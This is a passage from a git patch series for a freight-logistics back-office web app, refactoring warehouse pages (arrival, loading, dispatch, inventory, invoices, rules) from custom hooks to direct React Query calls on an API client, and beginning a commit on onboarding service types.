}: { id: string; payload: Partial }) => - warehouseService.updateYard(id, payload), - onSuccess: () => qc.invalidateQueries({ queryKey: warehouseKeys.all }), - }); -} - -// ── Zones ────────────────────────────────────────────────────────────────── - -export function useWarehouseZones(yardId?: string) { - return useQuery({ - queryKey: warehouseKeys.zones(yardId ?? ''), - queryFn: () => warehouseService.listZones(yardId as string).then((r) => r.data), - enabled: Boolean(yardId), - }); -} - -export function useCreateZone() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ yardId, payload }: { yardId: string; payload: SaveZonePayload }) => - warehouseService.createZone(yardId, payload), - onSuccess: (_, { yardId }) => qc.invalidateQueries({ queryKey: warehouseKeys.zones(yardId) }), - }); -} - -export function useUpdateZone() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, payload }: { id: string; payload: Partial }) => - warehouseService.updateZone(id, payload), - onSuccess: () => qc.invalidateQueries({ queryKey: ['warehouse-yards'] }), - }); -} - -// ── Inventory ────────────────────────────────────────────────────────────── - -export function useWarehouseInventory(filter?: InventoryFilter) { - return useQuery({ - queryKey: warehouseKeys.inventory(filter), - queryFn: () => warehouseService.listInventory(filter).then((r) => r.data), - }); -} - -export function useReceiveInventory() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (payload: ReceiveInventoryPayload) => warehouseService.receiveInventory(payload), - onSuccess: () => { - qc.invalidateQueries({ queryKey: ['warehouse-inventory'] }); - qc.invalidateQueries({ queryKey: warehouseKeys.all }); - }, - }); -} - -function useInventoryMutation(fn: (args: TArgs) => Promise) { - const qc = useQueryClient(); - return useMutation({ - mutationFn: fn, - onSuccess: () => { - qc.invalidateQueries({ queryKey: ['warehouse-inventory'] }); - qc.invalidateQueries({ queryKey: ['warehouse-loadings'] }); - qc.invalidateQueries({ queryKey: warehouseKeys.all }); - }, - }); -} - -export const useStoreInventory = () => useInventoryMutation((id: string) => warehouseService.store(id)); -export const useReserveInventory = () => - useInventoryMutation((payload: ReserveInventoryPayload) => warehouseService.reserve(payload)); -export const useMarkReadyForLoading = () => - useInventoryMutation((id: string) => warehouseService.markReadyForLoading(id)); -export const useLoadInventory = () => - useInventoryMutation((args: { id: string; payload: LoadInventoryPayload }) => - warehouseService.load(args.id, args.payload), - ); -export const useDispatchInventory = () => useInventoryMutation((id: string) => warehouseService.dispatch(id)); -export const useMoveInventory = () => - useInventoryMutation((args: { id: string; payload: MoveInventoryPayload }) => - warehouseService.move(args.id, args.payload), - ); - -// ── Import branch (READY_FOR_PICKUP → DELIVERED) ─────────────────────────── -export const useMarkReadyForPickup = () => - useInventoryMutation((id: string) => warehouseService.markReadyForPickup(id)); -export const useReleaseInventory = () => - useInventoryMutation((args: { id: string; payload: ReleaseOrderPayload }) => - warehouseService.release(args.id, args.payload), - ); -export const useDeliverInventory = () => - useInventoryMutation((args: { id: string; payload: DeliverInventoryPayload }) => - warehouseService.deliver(args.id, args.payload), - ); - -// ── Receive (Import/Export bulk) ─────────────────────────────────────────── -/** - * All not-yet-received PAID bookings, classified IMPORT/EXPORT by route, in one call. - * Both Receive tabs share this single query (same key) — only one HTTP request fires — - * then filter client-side by direction. - */ -export function useEligibleBookings(enabled = true) { - return useQuery({ - queryKey: ['warehouse-inventory', 'eligible-bookings'], - queryFn: () => warehouseService.eligibleBookings().then((r) => r.data), - enabled, - }); -} -export const useBulkReceive = () => - useInventoryMutation((payload: BulkReceivePayload) => warehouseService.receiveBulk(payload)); -export const useLoadPassedExport = () => - useInventoryMutation(() => warehouseService.loadPassedExport()); -export const useBulkMarkInspected = () => - useInventoryMutation((payload: BulkInspectPayload) => warehouseService.bulkMarkInspected(payload)); - -export function useReadyToLoadExport(enabled = true) { - return useQuery({ - queryKey: ['warehouse-inventory', 'ready-to-load-export'], - queryFn: () => warehouseService.readyToLoadExport().then((r) => r.data), - enabled, - }); -} - -export function useLoadedExport(enabled = true) { - return useQuery({ - queryKey: ['warehouse-inventory', 'loaded-export'], - queryFn: () => warehouseService.loadedExport().then((r) => r.data), - enabled, - }); -} - -export const useBulkDispatchExport = () => - useInventoryMutation((inventoryIds: string[]) => warehouseService.bulkDispatchExport(inventoryIds)); - -/** Arrived IMPORT trains (route-derived). Read-only. */ -export function useImportArriveQueue(enabled = true) { - return useQuery({ - queryKey: ['warehouse-inventory', 'import-arrive-queue'], - queryFn: () => warehouseService.importArriveQueue().then((r) => r.data), - enabled, - }); -} - -/** Assigned bookings/items for an arrived import train. Read-only. */ -export function useImportTrainItems(scheduleId?: string) { - return useQuery({ - queryKey: ['warehouse-inventory', 'import-train-items', scheduleId], - queryFn: () => warehouseService.importTrainItems(scheduleId as string).then((r) => r.data), - enabled: Boolean(scheduleId), - }); -} - -/** Unload all eligible assigned bookings of an ARRIVED import train (→ UNLOADED). */ -export const useAutoUnloadArrivedBookings = () => - useInventoryMutation((scheduleId: string) => warehouseService.autoUnloadArrivedBookings(scheduleId)); - -/** IMPORT inventory in the Unloaded Queue (UNLOADED / destination inspection). Read-only. */ -export function useImportUnloadedQueue(enabled = true) { - return useQuery({ - queryKey: ['warehouse-inventory', 'import-unloaded-queue'], - queryFn: () => warehouseService.importUnloadedQueue().then((r) => r.data), - enabled, - }); -} - -/** IMPORT inventory that is PICKUP_READY (READY_FOR_PICKUP) awaiting pickup/dispatch. Read-only. */ -export function useImportPickupReadyQueue(enabled = true) { - return useQuery({ - queryKey: ['warehouse-inventory', 'import-pickup-ready-queue'], - queryFn: () => warehouseService.importPickupReadyQueue().then((r) => r.data), - enabled, - }); -} - -// ── Loading (Batch 3) ──────────────────────────────────────────────────────── - -export function useLoadableWagons(enabled = true) { - return useQuery({ - queryKey: ['warehouse', 'loadable-wagons'], - queryFn: () => warehouseService.loadableWagons().then((r) => r.data), - enabled, - }); -} - -export function useWarehouseLoadings(params?: { bookingId?: string; wagonId?: string }) { - return useQuery({ - queryKey: ['warehouse-loadings', params ?? {}], - queryFn: () => warehouseService.loadings(params).then((r) => r.data), - }); -} - -export function useBookingSchedule(bookingId?: string) { - return useQuery({ - queryKey: ['warehouse', 'booking-schedule', bookingId ?? ''], - queryFn: () => warehouseService.bookingSchedule(bookingId as string).then((r) => r.data), - enabled: Boolean(bookingId), - }); -} - -export function useInventoryMovements(id?: string) { - return useQuery({ - queryKey: ['warehouse-inventory', id, 'movements'], - queryFn: () => warehouseService.movements(id as string).then((r) => r.data), - enabled: Boolean(id), - }); -} - -export function useInventoryActivity(id?: string) { - return useQuery({ - queryKey: ['warehouse-inventory', id, 'activity'], - queryFn: () => warehouseService.activity(id as string).then((r) => r.data), - enabled: Boolean(id), - }); -} - -export function useWarehouseDashboard() { - return useQuery({ - queryKey: ['warehouses', 'dashboard'], - queryFn: () => warehouseService.dashboard().then((r) => r.data), - }); -} - -export function useInventoryInquiry(filter: InventoryInquiryFilter, enabled = true) { - return useQuery({ - queryKey: warehouseKeys.inquiry(filter), - queryFn: () => warehouseService.inquiry(filter).then((r) => r.data), - enabled, - }); -} - -// ── Batch 4.5: Arrival / Unload / Inspection ──────────────────────────────── - -export function useArrivalQueue() { - return useQuery({ - queryKey: ['warehouse-inventory', 'arrival-queue'], - queryFn: () => warehouseService.arrivalQueue().then((r) => r.data), - }); -} - -function useArrivalInvalidation() { - const qc = useQueryClient(); - return () => { - qc.invalidateQueries({ queryKey: ['warehouse-inventory'] }); - qc.invalidateQueries({ queryKey: warehouseKeys.all }); - }; -} - -export function useAutoUnloadArrived() { - const onSuccess = useArrivalInvalidation(); - return useMutation({ mutationFn: () => warehouseService.autoUnloadArrived(), onSuccess }); -} - -export function useAutoLoadReady() { - const onSuccess = useArrivalInvalidation(); - return useMutation({ mutationFn: () => warehouseService.autoLoadReady(), onSuccess }); -} - -export function useUnloadBooking() { - const onSuccess = useArrivalInvalidation(); - return useMutation({ - mutationFn: (args: { bookingId: string; payload?: Record }) => - warehouseService.unloadBooking(args.bookingId, args.payload), - onSuccess, - }); -} - -export function useInspectionReports(inventoryId?: string) { - return useQuery({ - queryKey: ['warehouse-inventory', inventoryId, 'inspection-reports'], - queryFn: () => warehouseService.listInspectionReports(inventoryId as string).then((r) => r.data), - enabled: Boolean(inventoryId), - }); -} - -export function useCreateInspectionReport() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ inventoryId, payload }: { inventoryId: string; payload: InspectionReportPayload }) => - warehouseService.createInspectionReport(inventoryId, payload).then((r) => r.data), - onSuccess: (_, { inventoryId }) => { - qc.invalidateQueries({ queryKey: ['warehouse-inventory', inventoryId, 'inspection-reports'] }); - qc.invalidateQueries({ queryKey: ['warehouse-inventory'] }); - }, - }); -} - -export function useUploadInspectionAttachments() { - return useMutation({ - mutationFn: ({ reportId, files }: { reportId: string; files: File[] }) => - warehouseService.uploadInspectionAttachments(reportId, files), - }); -} - -// ── Batch 5: Allocation + Fee rules / preview ─────────────────────────────── - -export function useAllocationRules() { - return useQuery({ - queryKey: ['warehouse-allocation-rules'], - queryFn: () => warehouseService.listAllocationRules().then((r) => r.data), - }); -} - -export function useFeeRules() { - return useQuery({ - queryKey: ['warehouse-fee-rules'], - queryFn: () => warehouseService.listFeeRules().then((r) => r.data), - }); -} - -function useRuleMutation(fn: (args: TArgs) => Promise, keys: string[]) { - const qc = useQueryClient(); - return useMutation({ - mutationFn: fn, - onSuccess: () => keys.forEach((k) => qc.invalidateQueries({ queryKey: [k] })), - }); -} - -export const useCreateAllocationRule = () => - useRuleMutation( - (payload: SaveAllocationRulePayload) => warehouseService.createAllocationRule(payload), - ['warehouse-allocation-rules'], - ); -export const useUpdateAllocationRule = () => - useRuleMutation( - (args: { id: string; payload: Partial }) => - warehouseService.updateAllocationRule(args.id, args.payload), - ['warehouse-allocation-rules'], - ); -export const useDeleteAllocationRule = () => - useRuleMutation((id: string) => warehouseService.deleteAllocationRule(id), ['warehouse-allocation-rules']); - -export const useCreateFeeRule = () => - useRuleMutation((payload: SaveFeeRulePayload) => warehouseService.createFeeRule(payload), ['warehouse-fee-rules']); -export const useUpdateFeeRule = () => - useRuleMutation( - (args: { id: string; payload: Partial }) => - warehouseService.updateFeeRule(args.id, args.payload), - ['warehouse-fee-rules'], - ); -export const useDeleteFeeRule = () => - useRuleMutation((id: string) => warehouseService.deleteFeeRule(id), ['warehouse-fee-rules']); - -export function useFeePreview(inventoryId?: string) { - return useQuery({ - queryKey: ['warehouse-inventory', inventoryId, 'fee-preview'], - queryFn: () => warehouseService.feePreview(inventoryId as string).then((r) => r.data), - enabled: Boolean(inventoryId), - }); -} - -// ── Batch 6: Warehouse fee invoices ───────────────────────────────────────── - -export function useWarehouseInvoices(filter?: WarehouseInvoiceFilter) { - return useQuery({ - queryKey: ['warehouse-fee-invoices', filter ?? {}], - queryFn: () => warehouseService.listInvoices(filter).then((r) => r.data), - }); -} - -export function useWarehouseInvoice(id?: string) { - return useQuery({ - queryKey: ['warehouse-fee-invoices', 'detail', id], - queryFn: () => warehouseService.getInvoice(id as string).then((r) => r.data), - enabled: Boolean(id), - }); -} - -export function useInvoicesForInventory(inventoryId?: string) { - return useQuery({ - queryKey: ['warehouse-inventory', inventoryId, 'fee-invoices'], - queryFn: () => warehouseService.invoicesForInventory(inventoryId as string).then((r) => r.data), - enabled: Boolean(inventoryId), - }); -} - -function useInvoiceInvalidation() { - const qc = useQueryClient(); - return () => { - qc.invalidateQueries({ queryKey: ['warehouse-fee-invoices'] }); - qc.invalidateQueries({ queryKey: ['warehouse-inventory'] }); - }; -} - -export function useGenerateInvoice() { - const onSuccess = useInvoiceInvalidation(); - return useMutation({ - mutationFn: ({ inventoryId, confirmZero }: { inventoryId: string; confirmZero?: boolean }) => - warehouseService.generateInvoice(inventoryId, confirmZero).then((r) => r.data), - onSuccess, - }); -} - -export function useCancelInvoice() { - const onSuccess = useInvoiceInvalidation(); - return useMutation({ mutationFn: (id: string) => warehouseService.cancelInvoice(id), onSuccess }); -} - -export function usePayInvoice() { - const onSuccess = useInvoiceInvalidation(); - return useMutation({ - mutationFn: ({ id, payload }: { id: string; payload: PayInvoicePayload }) => - warehouseService.payInvoice(id, payload), - onSuccess, - }); -} - -export function useGateClearance() { - const onSuccess = useInvoiceInvalidation(); - return useMutation({ mutationFn: (inventoryId: string) => warehouseService.gateClearance(inventoryId), onSuccess }); -} diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/ArrivalQueuePage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/ArrivalQueuePage.tsx index 0b52d1388..317520f48 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/ArrivalQueuePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/ArrivalQueuePage.tsx @@ -16,7 +16,9 @@ import { VisualEmptyState, formatDate, } from '@/components/warehouses'; -import { useArrivalQueue, useAutoUnloadArrived, useUnloadBooking } from '@/hooks/useWarehouses'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; import type { ArrivalQueueItem } from '@/types/warehouse'; @@ -30,17 +32,16 @@ function inspectionBadge(status: string | null) { export default function ArrivalQueuePage() { const navigate = useNavigate(); const { toast } = useToast(); - const { data, isLoading } = useArrivalQueue(); - const autoUnload = useAutoUnloadArrived(); - const unloadOne = useUnloadBooking(); + const { data, isLoading } = useQuery(api.warehouses.arrivalQueue.queryOptions()); + const autoUnload = useMutation(api.warehouses.autoUnloadArrived.mutationOptions()); + const unloadOne = useMutation(api.warehouses.unloadBooking.mutationOptions()); const [inspectInventoryId, setInspectInventoryId] = useState(null); const items = data ?? []; const handleAutoUnload = async () => { try { - const res = await autoUnload.mutateAsync(); - const r = res.data; + const r = await autoUnload.mutateAsync(); toast({ title: 'Auto-unload complete', description: `Processed ${r.processedCount}, skipped ${r.skippedCount}, failed ${r.failedCount}.`, diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/DispatchQueuePage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/DispatchQueuePage.tsx index 1776ac8e0..d2786c0b9 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/DispatchQueuePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/DispatchQueuePage.tsx @@ -1,12 +1,16 @@ import { Card } from '@mantine/core'; import { PageContainer, PageHeader } from '@/components/page'; +import { useQuery } from '@tanstack/react-query'; + import { InventoryWorkbench, VisualEmptyState } from '@/components/warehouses'; -import { useWarehouseInventory } from '@/hooks/useWarehouses'; +import { api } from '@/services/api'; /** Items that are LOADED and awaiting dispatch (train departure). */ export default function DispatchQueuePage() { - const { data, isLoading } = useWarehouseInventory({ status: 'LOADED' }); + const { data, isLoading } = useQuery( + api.warehouses.listInventory.queryOptions({ input: { filter: { status: 'LOADED' } } }), + ); const items = data ?? []; return ( diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/InventoryInquiryPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/InventoryInquiryPage.tsx index eeaaa8848..582a9cedd 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/InventoryInquiryPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/InventoryInquiryPage.tsx @@ -3,24 +3,35 @@ import { Button, Card, Center, Group, Loader, Select, Stack, TextInput } from '@ import { Search } from 'lucide-react'; import { PageContainer, PageHeader } from '@/components/page'; +import { useQuery } from '@tanstack/react-query'; + import { VisualEmptyState, WarehouseInquiryTable, inventoryStatusOptions } from '@/components/warehouses'; -import { - useInventoryInquiry, - useWarehouseYards, - useWarehouseZones, - useWarehouses, -} from '@/hooks/useWarehouses'; +import { api } from '@/services/api'; import type { InventoryInquiryFilter, InventoryStatus } from '@/types/warehouse'; export default function InventoryInquiryPage() { const [draft, setDraft] = useState({}); const [applied, setApplied] = useState({}); - const warehousesQuery = useWarehouses(); - const yardsQuery = useWarehouseYards(draft.warehouseId); - const zonesQuery = useWarehouseZones(draft.yardId); + const warehousesQuery = useQuery( + api.warehouses.list.queryOptions({ input: {} }), + ); + const yardsQuery = useQuery( + api.warehouses.listYards.queryOptions({ + input: { warehouseId: draft.warehouseId ?? '' }, + enabled: Boolean(draft.warehouseId), + }), + ); + const zonesQuery = useQuery( + api.warehouses.listZones.queryOptions({ + input: { yardId: draft.yardId ?? '' }, + enabled: Boolean(draft.yardId), + }), + ); - const { data, isFetching } = useInventoryInquiry(applied); + const { data, isFetching } = useQuery( + api.warehouses.inquiry.queryOptions({ input: { filter: applied } }), + ); const results = data ?? []; const warehouseOptions = useMemo( diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadedInventoryPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadedInventoryPage.tsx index d5dbd0b10..b5deec80e 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadedInventoryPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadedInventoryPage.tsx @@ -2,10 +2,13 @@ import { Badge, Card, Group, Text } from '@mantine/core'; import { DataTable, type ColumnDef } from '@edr/ui-common'; import { PageContainer, PageHeader } from '@/components/page'; -import { FreightVisual, VisualEmptyState, formatDate, formatNumber } from '@/components/warehouses'; -import { useWarehouseLoadings } from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; -type Loading = NonNullable['data']>[number]; +import { FreightVisual, VisualEmptyState, formatDate, formatNumber } from '@/components/warehouses'; +import { api } from '@/services/api'; +import type { WarehouseLoading } from '@/types/warehouse'; + +type Loading = WarehouseLoading; const columns: ColumnDef[] = [ { @@ -60,7 +63,9 @@ const columns: ColumnDef[] = [ /** Record of every inventory item loaded onto a wagon. */ export default function LoadedInventoryPage() { - const { data, isLoading } = useWarehouseLoadings(); + const { data, isLoading } = useQuery( + api.warehouses.loadings.queryOptions({ input: {} }), + ); const loadings = data ?? []; return ( diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadingQueuePage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadingQueuePage.tsx index bb65d8fe6..f80db55f4 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadingQueuePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/LoadingQueuePage.tsx @@ -10,7 +10,9 @@ import { VisualEmptyState, formatNumber, } from '@/components/warehouses'; -import { useAutoLoadReady, useWarehouseInventory } from '@/hooks/useWarehouses'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; import type { WarehouseInventoryItem } from '@/types/warehouse'; @@ -27,16 +29,19 @@ const isPaid = (item: WarehouseInventoryItem) => item.booking?.status === 'PAID' export default function LoadingQueuePage() { const navigate = useNavigate(); const { toast } = useToast(); - const autoLoad = useAutoLoadReady(); - const { data: readyData, isLoading: readyLoading } = useWarehouseInventory({ - status: 'READY_FOR_LOADING', - }); - const { data: loadedData, isLoading: loadedLoading } = useWarehouseInventory({ status: 'LOADED' }); + const autoLoad = useMutation(api.warehouses.autoLoadReady.mutationOptions()); + const { data: readyData, isLoading: readyLoading } = useQuery( + api.warehouses.listInventory.queryOptions({ + input: { filter: { status: 'READY_FOR_LOADING' } }, + }), + ); + const { data: loadedData, isLoading: loadedLoading } = useQuery( + api.warehouses.listInventory.queryOptions({ input: { filter: { status: 'LOADED' } } }), + ); const handleAutoLoad = async () => { try { - const res = await autoLoad.mutateAsync(); - const r = res.data; + const r = await autoLoad.mutateAsync(); toast({ title: 'Auto-load complete', description: `Loaded ${r.loadedCount} PAID item(s); skipped ${r.skippedCount} (unpaid stay pending).`, diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDashboardPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDashboardPage.tsx index 683baca15..60dbb13c4 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDashboardPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDashboardPage.tsx @@ -16,8 +16,10 @@ import { } from 'lucide-react'; import { PageContainer, PageHeader } from '@/components/page'; +import { useQuery } from '@tanstack/react-query'; + import { WarehouseDashboardCharts } from '@/components/warehouses'; -import { useWarehouseDashboard } from '@/hooks/useWarehouses'; +import { api } from '@/services/api'; import type { WarehouseDashboard } from '@/types/warehouse'; interface Metric { @@ -49,7 +51,7 @@ const METRICS: Metric[] = [ export default function WarehouseDashboardPage() { const navigate = useNavigate(); - const { data, isLoading } = useWarehouseDashboard(); + const { data, isLoading } = useQuery(api.warehouses.dashboard.queryOptions()); return ( diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDetailPage.tsx index 145d3579d..31509766d 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseDetailPage.tsx @@ -27,20 +27,27 @@ import { formatCapacity, humanizeEnum, } from '@/components/warehouses'; -import { - useWarehouse, - useWarehouseInventory, - useWarehouseYards, - useWarehouseZones, -} from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { WarehouseYard, WarehouseZone } from '@/types/warehouse'; export default function WarehouseDetailPage() { const { id } = useParams<{ id: string }>(); const navigate = useNavigate(); - const { data: warehouse, isLoading } = useWarehouse(id); - const yardsQuery = useWarehouseYards(id); + const { data: warehouse, isLoading } = useQuery( + api.warehouses.getById.queryOptions({ + input: { id: id ?? '' }, + enabled: Boolean(id), + }), + ); + const yardsQuery = useQuery( + api.warehouses.listYards.queryOptions({ + input: { warehouseId: id ?? '' }, + enabled: Boolean(id), + }), + ); const [yardModalOpen, setYardModalOpen] = useState(false); const [editingYard, setEditingYard] = useState(null); @@ -49,9 +56,18 @@ export default function WarehouseDetailPage() { const [editingZone, setEditingZone] = useState(null); const [selectedYardId, setSelectedYardId] = useState(null); - const zonesQuery = useWarehouseZones(selectedYardId ?? undefined); + const zonesQuery = useQuery( + api.warehouses.listZones.queryOptions({ + input: { yardId: selectedYardId ?? '' }, + enabled: Boolean(selectedYardId), + }), + ); - const inventoryQuery = useWarehouseInventory(id ? { warehouseId: id } : undefined); + const inventoryQuery = useQuery( + api.warehouses.listInventory.queryOptions({ + input: { filter: id ? { warehouseId: id } : undefined }, + }), + ); const yards = yardsQuery.data ?? []; const yardOptions = useMemo( diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInventoryPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInventoryPage.tsx index 234c37826..2ae417db1 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInventoryPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInventoryPage.tsx @@ -10,12 +10,9 @@ import { ReceiveInventoryModal, inventoryStatusOptions, } from '@/components/warehouses'; -import { - useWarehouseInventory, - useWarehouseYards, - useWarehouseZones, - useWarehouses, -} from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { InventoryFilter, InventoryStatus } from '@/types/warehouse'; export default function WarehouseInventoryPage() { @@ -33,10 +30,24 @@ export default function WarehouseInventoryPage() { [filter, debouncedSearch], ); - const warehousesQuery = useWarehouses(); - const yardsQuery = useWarehouseYards(filter.warehouseId); - const zonesQuery = useWarehouseZones(filter.yardId); - const inventoryQuery = useWarehouseInventory(queryFilter); + const warehousesQuery = useQuery( + api.warehouses.list.queryOptions({ input: {} }), + ); + const yardsQuery = useQuery( + api.warehouses.listYards.queryOptions({ + input: { warehouseId: filter.warehouseId ?? '' }, + enabled: Boolean(filter.warehouseId), + }), + ); + const zonesQuery = useQuery( + api.warehouses.listZones.queryOptions({ + input: { yardId: filter.yardId ?? '' }, + enabled: Boolean(filter.yardId), + }), + ); + const inventoryQuery = useQuery( + api.warehouses.listInventory.queryOptions({ input: { filter: queryFilter } }), + ); const warehouseOptions = useMemo( () => (warehousesQuery.data ?? []).map((w) => ({ value: w.id, label: `${w.name} (${w.code})` })), diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInvoicesPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInvoicesPage.tsx index 7b1ae4d30..3f0958a7f 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInvoicesPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseInvoicesPage.tsx @@ -19,13 +19,10 @@ import { Ban, CreditCard, Eye, Search } from 'lucide-react'; import { DataTable, type ColumnDef } from '@edr/ui-common'; import { PageContainer, PageHeader } from '@/components/page'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { - useCancelInvoice, - usePayInvoice, - useWarehouseInvoice, - useWarehouseInvoices, -} from '@/hooks/useWarehouses'; import { WAREHOUSE_INVOICE_STATUSES, type WarehouseFeeInvoice, @@ -48,7 +45,11 @@ export default function WarehouseInvoicesPage() { const [search, setSearch] = useState(''); const [detailId, setDetailId] = useState(null); - const { data, isLoading } = useWarehouseInvoices(status ? { status } : undefined); + const { data, isLoading } = useQuery( + api.warehouses.invoices.queryOptions({ + input: { filter: status ? { status } : undefined }, + }), + ); const invoices = data ?? []; const filtered = useMemo(() => { @@ -149,9 +150,14 @@ export default function WarehouseInvoicesPage() { function InvoiceDetailModal({ id, onClose }: { id: string | null; onClose: () => void }) { const { toast } = useToast(); - const { data: inv, isLoading } = useWarehouseInvoice(id ?? undefined); - const pay = usePayInvoice(); - const cancel = useCancelInvoice(); + const { data: inv, isLoading } = useQuery( + api.warehouses.invoice.queryOptions({ + input: { id: id ?? '' }, + enabled: Boolean(id), + }), + ); + const pay = useMutation(api.warehouses.payInvoice.mutationOptions()); + const cancel = useMutation(api.warehouses.cancelInvoice.mutationOptions()); const [payAmount, setPayAmount] = useState(''); const canPay = inv && (inv.status === 'ISSUED' || inv.status === 'PARTIALLY_PAID'); diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseListPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseListPage.tsx index 3f9df44f6..93fcde493 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseListPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseListPage.tsx @@ -12,7 +12,9 @@ import { WarehouseTable, type WarehouseView, } from '@/components/warehouses'; -import { useWarehouses } from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { Warehouse, WarehouseFilter } from '@/types/warehouse'; export default function WarehouseListPage() { @@ -28,7 +30,9 @@ export default function WarehouseListPage() { [filter, debouncedSearch], ); - const { data, isLoading, isError } = useWarehouses(queryFilter); + const { data, isLoading, isError } = useQuery( + api.warehouses.list.queryOptions({ input: { filter: queryFilter } }), + ); const warehouses = data ?? []; const openCreate = () => { diff --git a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseRulesPage.tsx b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseRulesPage.tsx index af5adb83d..81e998385 100644 --- a/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseRulesPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/warehouses/WarehouseRulesPage.tsx @@ -17,15 +17,10 @@ import { Plus, Trash2 } from 'lucide-react'; import { DataTable, type ColumnDef } from '@edr/ui-common'; import { PageContainer, PageHeader } from '@/components/page'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { - useAllocationRules, - useCreateAllocationRule, - useCreateFeeRule, - useDeleteAllocationRule, - useDeleteFeeRule, - useFeeRules, -} from '@/hooks/useWarehouses'; import { FEE_RULE_TYPES, type FeeRuleType } from '@/types/warehouse'; const FREIGHT = [ @@ -67,9 +62,11 @@ export default function WarehouseRulesPage() { function AllocationRules() { const { toast } = useToast(); - const { data, isLoading } = useAllocationRules(); - const create = useCreateAllocationRule(); - const remove = useDeleteAllocationRule(); + const { data, isLoading } = useQuery( + api.warehouses.allocationRules.queryOptions(), + ); + const create = useMutation(api.warehouses.createAllocationRule.mutationOptions()); + const remove = useMutation(api.warehouses.deleteAllocationRule.mutationOptions()); const [open, setOpen] = useState(false); const [form, setForm] = useState({ name: '', @@ -181,9 +178,9 @@ function AllocationRules() { function FeeRules() { const { toast } = useToast(); - const { data, isLoading } = useFeeRules(); - const create = useCreateFeeRule(); - const remove = useDeleteFeeRule(); + const { data, isLoading } = useQuery(api.warehouses.feeRules.queryOptions()); + const create = useMutation(api.warehouses.createFeeRule.mutationOptions()); + const remove = useMutation(api.warehouses.deleteFeeRule.mutationOptions()); const [open, setOpen] = useState(false); const [form, setForm] = useState({ name: '', From 30b022356cb082d2aaa54ae1ad0e763a07d96e20 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 12:30:44 +0000 Subject: [PATCH 21/30] feat: update onboarding and company role handling to support multiple service types --- .../onboarding/OnboardingWizardDialog.tsx | 37 +++++++++++----- .../src/pages/accounts/CompanyProfileForm.tsx | 10 +++-- .../src/pages/settings/CompanyRolesCard.tsx | 2 +- .../pages/settings/OnboardingRoleSelect.tsx | 44 +++++-------------- .../src/pages/settings/companyRoles.tsx | 8 +++- 5 files changed, 52 insertions(+), 49 deletions(-) diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 584735b3c..17fde6528 100644 --- 